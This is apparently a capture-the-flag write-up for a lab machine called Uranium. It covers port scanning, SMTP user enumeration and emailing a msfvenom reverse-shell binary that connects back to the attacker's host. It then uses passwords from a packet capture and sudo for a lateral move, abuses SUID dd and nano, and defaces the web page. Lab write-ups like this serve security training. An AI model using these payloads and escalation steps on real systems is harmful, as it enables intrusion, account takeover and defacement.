Recon to foothold

We are given an employee’s Twitter account, hakanbey, so let’s start there and look for potentially useful snippets

  • We get a hostname to add to /etc/hosts
  • We find an invitation to send an XSS or similar attack

That’s about all we can extract from the Twitter account, let’s have a look at the deployed machine now, starting as always with a scan

rob:UraniumCTF/ $ sudo masscan -p1-65535,U:1-65535 10.10.246.95 --rate=1000 -e tun0
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-09-29 12:01:33 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.246.95                                    
Discovered open port 80/tcp on 10.10.246.95                                    
Discovered open port 25/tcp on 10.10.246.95 

Ok, just 3 ports open, let’s confirm what they are with nmap

rob:UraniumCTF/ $ nmap -A -T4 -v -p22,25,80 10.10.246.95    
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-29 13:10 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:10
Completed NSE at 13:10, 0.00s elapsed
Initiating NSE at 13:10
Completed NSE at 13:10, 0.00s elapsed
Initiating NSE at 13:10
Completed NSE at 13:10, 0.00s elapsed
Initiating Ping Scan at 13:10
Scanning 10.10.246.95 [2 ports]
Completed Ping Scan at 13:10, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 13:10
Scanning uranium.thm (10.10.246.95) [3 ports]
Discovered open port 80/tcp on 10.10.246.95
Discovered open port 25/tcp on 10.10.246.95
Discovered open port 22/tcp on 10.10.246.95
Completed Connect Scan at 13:10, 0.01s elapsed (3 total ports)
Initiating Service scan at 13:10
Scanning 3 services on uranium.thm (10.10.246.95)
Completed Service scan at 13:10, 6.05s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.246.95.
Initiating NSE at 13:10
Completed NSE at 13:10, 0.57s elapsed
Initiating NSE at 13:10
Completed NSE at 13:10, 0.12s elapsed
Initiating NSE at 13:10
Completed NSE at 13:10, 0.00s elapsed
Nmap scan report for uranium.thm (10.10.246.95)
Host is up (0.010s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a1:3c:d7:e9:d0:85:40:33:d5:07:16:32:08:63:31:05 (RSA)
|   256 24:81:0c:3a:91:55:a0:65:9e:36:58:71:51:13:6c:34 (ECDSA)
|_  256 c2:94:2b:0d:8e:a9:53:f6:ef:34:db:f1:43:6c:c1:7e (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: uranium, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, 
| ssl-cert: Subject: commonName=uranium
| Subject Alternative Name: DNS:uranium
| Issuer: commonName=uranium
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-09T21:40:53
| Not valid after:  2031-04-07T21:40:53
| MD5:   293d bef3 2fee 6092 c0d7 2a67 ea27 367c
|_SHA-1: 0a0c 26e0 ae3c 723e 538d 3c21 6b40 c84c f9e7 8fdb
|_ssl-date: TLS randomness does not represent time
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Uranium Coin
Service Info: Host:  uranium; OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 13:10
Completed NSE at 13:10, 0.00s elapsed
Initiating NSE at 13:10
Completed NSE at 13:10, 0.00s elapsed
Initiating NSE at 13:10
Completed NSE at 13:10, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.17 seconds

So we have ssh on port 22, SMTP on port 25 and a web server on port 80. Let’s check out port 25 before we go further, first we’ll verify that hakanbey is a valid user

rob:UraniumCTF/ $ nc uranium.thm 25                                                
220 uranium ESMTP Postfix (Ubuntu)

VRFY hakanbey
252 2.0.0 hakanbey
VRFY root
252 2.0.0 root
VRFY allfun
550 5.1.1 <allfun>: Recipient address rejected: User unknown in local recipient table

And we can check also if authentication is required

AUTH NTLM 334
503 5.5.1 Error: authentication not enabled

This means then that, without authenticating we should be able to send an email to hakanbey. We know from the OSINT material collected that everyone is invited to send files by mail which will be opened one-by-one in a terminal, so perhaps there is an attack we can encode in an email or an email attachment. We can test sending an email like this

rob:UraniumCTF/ $ sendEmail -t hakanbey@uranium.thm -f allfun@all.fun -s uranium.thm:25 -a /tmp/a.pdf   
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
  - First line must be received within 60 seconds.
  - End manual input with a CTRL-D on its own line.

testing testing 1 2 3
Sep 29 13:38:23 kali sendEmail[3942]: Message input complete.
Sep 29 13:38:23 kali sendEmail[3942]: ERROR => TLS setup failed: SSL connect attempt failed error:1416F086:SSL routines:tls_process_server_certificate:certificate verify failed

The solution to this error turned out to be quite simple, turn off TLS!

rob:UraniumCTF/ $ sendEmail -t hakanbey@uranium.thm -f allfun@all.fun -s uranium.thm:25 -a /tmp/a.pdf -o tls=no
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
  - First line must be received within 60 seconds.
  - End manual input with a CTRL-D on its own line.

testing testing 1 2 3
Sep 29 13:48:00 kali sendEmail[4070]: Message input complete.
Sep 29 13:48:00 kali sendEmail[4070]: Email was sent successfully!

Ok, so we have proven that we can send emails with attachments. Let’s continue enumeration and come back to this later if needed

Next let’s check out the web server on port 80

We find a very cool looking but completely non-functional page, all the links point nowhere. Let’s see if we can find any unlinked hidden directories

rob:UraniumCTF/ $ gobuster dir --url http://uranium.thm -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x txt,zip,html,php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://uranium.thm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,zip,html,php
[+] Timeout:                 10s
===============================================================
2021/09/29 13:55:32 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 311] [--> http://uranium.thm/images/]
/assets               (Status: 301) [Size: 311] [--> http://uranium.thm/assets/]
/index.html           (Status: 200) [Size: 10351]                               
/README.txt           (Status: 200) [Size: 771]                                 
/server-status        (Status: 403) [Size: 276]                                 
/LICENSE.txt          (Status: 200) [Size: 17128]                               
/index.html           (Status: 200) [Size: 10351]                               
                                                                                
===============================================================
2021/09/29 14:01:16 Finished
===============================================================

No, not really. We can have a look in the /assets and /images directories, both of which are listable, but there is really nothing there

Back to SMTP, can we email a reverse shell ‘application’? Let’s give it a go. First we’ll use msfvenom to create a binary

rob:UraniumCTF/ $ msfvenom --payload linux/x64/shell_reverse_tcp LHOST=10.14.6.26 LPORT=1234 -f elf -o revshell 
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: revshell
rob:UraniumCTF/ $ chmod +x revshell

And now we’ll send it off as before

rob:UraniumCTF/ $ sendEmail -t hakanbey@uranium.thm -f allfun@all.fun -s uranium.thm:25 -a ./application -o tls=no 
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
  - First line must be received within 60 seconds.
  - End manual input with a CTRL-D on its own line.

hey Hakan, check out my app!
Sep 29 16:05:55 kali sendEmail[5768]: Message input complete.
Sep 29 16:05:55 kali sendEmail[5768]: Email was sent successfully!

Unfortunately we don’t get a response at our waiting listener… wait… yes we do! It just takes a while, presumably due to having to wait for a cronjob to trigger

rob:~/ $ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.219.40] 52268
id
uid=1000(hakanbey) gid=1000(hakanbey) groups=1000(hakanbey)

We take a moment to stabilize our shell, and now we can enumerate the user account

hakanbey@uranium:/home/hakanbey$ ls
chat_with_kral4  mail_file  user_1.txt

Let’s check out the chat_with_kra14 file first

hakanbey@uranium:/home/hakanbey$ file chat_with_kral4 
chat_with_kral4: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3cf57a90a14e7b2771cb14cd9b1837fe9fa7495b, for GNU/Linux 3.2.0, not stripped

Ok, that’s interesting, it’s a binary. After quite a bit of time looking at it in radare2 and ghidra we can’t find any way to easily extract a password. Let’s enumerate some more and come back to reversing it if necessary

hakanbey@uranium:/home/hakanbey$ ./chat_with_kral4 
PASSWORD :idontknow
NOT AUTHORIZED
->
hakanbey:

NB: Later on we find that there is no password stored in this binary, it checks the password over the network. Should have figured this quicker!

Let’s grab the user flag (#3)

hakanbey@uranium:/home/hakanbey$ cat user_1.txt 
THM{REDACTED}

User hakanbey

Let’s carry on with some more manual enumeration

  • sudo requires a password, so we get nothing there

  • Doing some manual enumeration we find a web flag

    hakanbey@uranium:/var/www/html$ ls -lA
    total 48
    -rw-r--r-- 1 web web 17128 Jun  6  2019 LICENSE.txt
    -rw-r--r-- 1 web web   771 Jun  6  2019 README.txt
    drwxr-xr-x 6 web web  4096 Jun  6  2019 assets
    drwxr-xr-x 2 web web  4096 Jun  6  2019 images
    -rw-r--r-- 1 web web 10351 Apr 23 14:07 index.html
    -rw------- 1 web web    38 Apr 25 10:54 web_flag.txt
    

    We’ll have to come back to that though, we don’t have relevant creds/permissions yet

  • While searching for user/group owned files outside of typical locations we find an interesting one for user kral4

    hakanbey@uranium:/var/www/html$ find / -group kral4 2>/dev/null
    --snip--
    /bin/dd
    hakanbey@uranium:/var/www/html$ ls -la /bin/dd
    -rwsr-x--- 1 web kral4 76000 Apr 23 10:52 /bin/dd
    

    This could be an escalation path once we have user kral4. The owner of this is web so that can give us the lateral move we need to grab the web flag potentially. First though we need to get kral4

  • In /var/log we find something interesting though

    hakanbey@uranium:/var$ ls -lA log/
    total 1876
    --snip--
    -rw-r-----  1 syslog    adm              68235 Sep 29 17:04 auth.log
    --snip--
    -rw-r--r--  1 root      root             93038 May  6 14:34 dpkg.log
    -rw-r--r--  1 root      root                 0 Apr 25 11:07 faillog
    -rw-r--r--  1 root      root              1869 Apr 24 13:09 hakanbey_network_log.pcap
    --snip--
    -rw-r-----  1 syslog    adm              88825 Sep 29 17:03 mail.log
    -rw-r-----  1 syslog    adm             763079 Sep 29 17:04 syslog
    --snip--
    

    While hunting through the usual suspect log files, looking for anything out of place, we find a file hakanbey_network_log.pcap. Let’s fire up wireshark and check it out

If we follow the TCP stream we find a network capture of a chat between kral4 and hakanbey

This starts with a string of characters that we can assume is hakanbey entering his password for the chat app, #1 MBMD1vdpjg3kGv6SsIz56VNG

Let’s try that then in our chat_with_kral4 application

hakanbey@uranium:/home/hakanbey$ ./chat_with_kral4 
PASSWORD :MBMD1vdpjg3kGv6SsIz56VNG
kral4:hi hakanbey

->hey there
hakanbey:hey there
?

->hi 
hakanbey:hi
kral4:how are you?

->great
hakanbey:great
?

->good
hakanbey:good
kral4:what now? did you forgot your password again

->yes!
hakanbey:yes!
kral4:okay your password is Mys3cr3tp4sw0rD don't lose it PLEASE
kral4:i have to go
kral4 disconnected

connection terminated

It takes a bit of guessing, but we find the right responses and kral4 helpfully reminds us of our password, #2 Mys3cr3tp4sw0rD

Now that we have a full set of creds, hakanbey:Mys3cr3tp4sw0rD perhaps we now have access to some sudo powers?

hakanbey@uranium:/home/hakanbey$ sudo -l
[sudo] password for hakanbey: 
Matching Defaults entries for hakanbey on uranium:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hakanbey may run the following commands on uranium:
    (kral4) /bin/bash

Yes we do! We can easily make the lateral move to kral4 with this

hakanbey@uranium:/home/hakanbey$ sudo -u kral4 /bin/bash
kral4@uranium:/home/hakanbey$ id
uid=1001(kral4) gid=1001(kral4) groups=1001(kral4)

User kral4 privesc to root

Now we can grab the second user flag, #4

kral4@uranium:~$ cat user_2.txt 
THM{REDACTED}

We’ve already got a good idea of our route to user web from our explorations earlier. The ever reliable gtfobins has an exploit to read or write files with dd, so let’s nab that web flag (#5) right away

kral4@uranium:~$ LFILE=/var/www/html/web_flag.txt 
kral4@uranium:~$ dd if=$LFILE
THM{REDACTED}
0+1 records in
0+1 records out
38 bytes copied, 0.00109148 s, 34.8 kB/s

We saw 2 mail files in /var/mail earlier, let’s see if kral4 has anything interesting waiting for them

kral4@uranium:/var/mail$ cat kral4 
From root@uranium.thm  Sat Apr 24 13:22:02 2021
Return-Path: <root@uranium.thm>
X-Original-To: kral4@uranium.thm
Delivered-To: kral4@uranium.thm
Received: from uranium (localhost [127.0.0.1])
	by uranium (Postfix) with ESMTP id C7533401C2
	for <kral4@uranium.thm>; Sat, 24 Apr 2021 13:22:02 +0000 (UTC)
Message-ID: <841530.943147035-sendEmail@uranium>
From: "root@uranium.thm" <root@uranium.thm>
To: "kral4@uranium.thm" <kral4@uranium.thm>
Subject: Hi Kral4
Date: Sat, 24 Apr 2021 13:22:02 +0000
X-Mailer: sendEmail-1.56
MIME-Version: 1.0
Content-Type: multipart/related; boundary="----MIME delimiter for sendEmail-992935.514616878"

This is a multi-part message in MIME format. To properly display this message you need a MIME-Version 1.0 compliant Email program.

------MIME delimiter for sendEmail-992935.514616878
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

I give SUID to the nano file in your home folder to fix the attack on our  index.html. Keep the nano there, in case it happens again.

------MIME delimiter for sendEmail-992935.514616878--

Well that’s great, root has given us a SUID file, but we don’t seem to have it anymore. Perhaps if we email root and ask for it again?

kral4@uranium:~$ sendEmail -t root@uranium.thm -f kral4@uranium.thm
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
  - First line must be received within 60 seconds.
  - End manual input with a CTRL-D on its own line.

I lost the file! Can you send SUID Nano again please?
Sep 29 17:51:59 uranium sendEmail[3373]: Message input complete.
Sep 29 17:51:59 uranium sendEmail[3373]: Email was sent successfully!

Ok, that’s not the way… I guess that if we attacked index.html ourselves, that could trigger root to take action. We’d probably need nano in our home directory then, so we should copy that across. We know that the dd exploit we used earlier can read or write to files so let’s get to ‘attacking’

kral4@uranium:/var/www/html$ echo "all your base are belong to us" | /bin/dd of=$LFILE
0+1 records in
0+1 records out
31 bytes copied, 0.000556305 s, 55.7 kB/s

We can quickly verify that the webpage has been defaced

kral4@uranium:/var/www/html$ cat index.html
all your base are belong to us
You have new mail in /var/mail/kral4

And as we do there is a new mail!

kral4@uranium:/var/www/html$ cat /var/mail/kral4 
--snip 'old' email--

From root@uranium.thm  Wed Sep 29 20:49:18 2021
Return-Path: <root@uranium.thm>
X-Original-To: kral4@uranium.thm
Delivered-To: kral4@uranium.thm
Received: from uranium (localhost [127.0.0.1])
	by uranium (Postfix) with ESMTP id 4B753401A9
	for <kral4@uranium.thm>; Wed, 29 Sep 2021 20:49:18 +0000 (UTC)
Message-ID: <47686.2153477384-sendEmail@uranium>
From: "root@uranium.thm" <root@uranium.thm>
To: "kral4@uranium.thm" <kral4@uranium.thm>
Subject: Hi Kral4
Date: Wed, 29 Sep 2021 20:49:18 +0000
X-Mailer: sendEmail-1.56
MIME-Version: 1.0
Content-Type: multipart/related; boundary="----MIME delimiter for sendEmail-57157.8895478559"

This is a multi-part message in MIME format. To properly display this message you need a MIME-Version 1.0 compliant Email program.

------MIME delimiter for sendEmail-57157.8895478559
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

I think our index page has been hacked again. You know how to fix it, I am giving authorization.

------MIME delimiter for sendEmail-57157.8895478559--

Excellent, let’s check that copy of nano that we made

kral4@uranium:/home/kral4$ ls -la nano
-rwsrwxrwx 1 root root 245872 Sep 29 20:41 nano

And we have SUID privileges! We can easily jump to root from here, again gtfobins has a simple exploit

kral4@uranium:~$ ./nano -s /bin/sh
$ id
uid=1001(kral4) gid=1001(kral4) groups=1001(kral4)

A simple exploit that won’t work! Try as I might I can’t get the elevated privilege to stick. If we wanted a root shell to fully pwn the box then we could of course add a root user to /etc/passwd, or read /etc/shadow and try cracking passwords there, etc.

In this case though let’s keep it simple and grab the root flag directly to finish the box

kral4@uranium:~$ /home/kral4/nano /root/root.txt

And we get the root flag, #6: THM{REDACTED}